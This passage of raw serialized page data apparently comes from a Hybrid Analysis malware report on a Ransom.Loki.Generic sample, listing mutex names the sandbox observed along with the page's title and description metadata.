Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"SM0:336:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:336:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3052:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3052:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3052:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Local\\SM0:3052:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Local\\SM0:3052:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"SM0:3052:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"SM0:3052:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3052:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6808:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6808:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6808:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"SM0:6808:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Local\\SM0:6808:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"SM0:6808:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Local\\SM0:6808:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6808:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7972:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"name":"Local\\SM0:7972:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]}]}},"report_ids":{"sandbox_job_ids":["6849824a28176b2bd506558a"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Ransom.Loki.Generic Sample ee57b6fa1e5a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ee57b6fa1e5a…. Malware family: Ransom.Loki.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 18 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397"}],["$","meta","4",{"property":"og:title","content":"Malicious Ransom.Loki.Generic Sample ee57b6fa1e5a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ee57b6fa1e5a…. Malware family: Ransom.Loki.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 18 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ransom.Loki.Generic Sample ee57b6fa1e5a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ee57b6fa1e5a…. Malware family: Ransom.Loki.Generic. Threat score 100/100. 20/28 AV engines flagged this file. 18 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L59","11",{}]]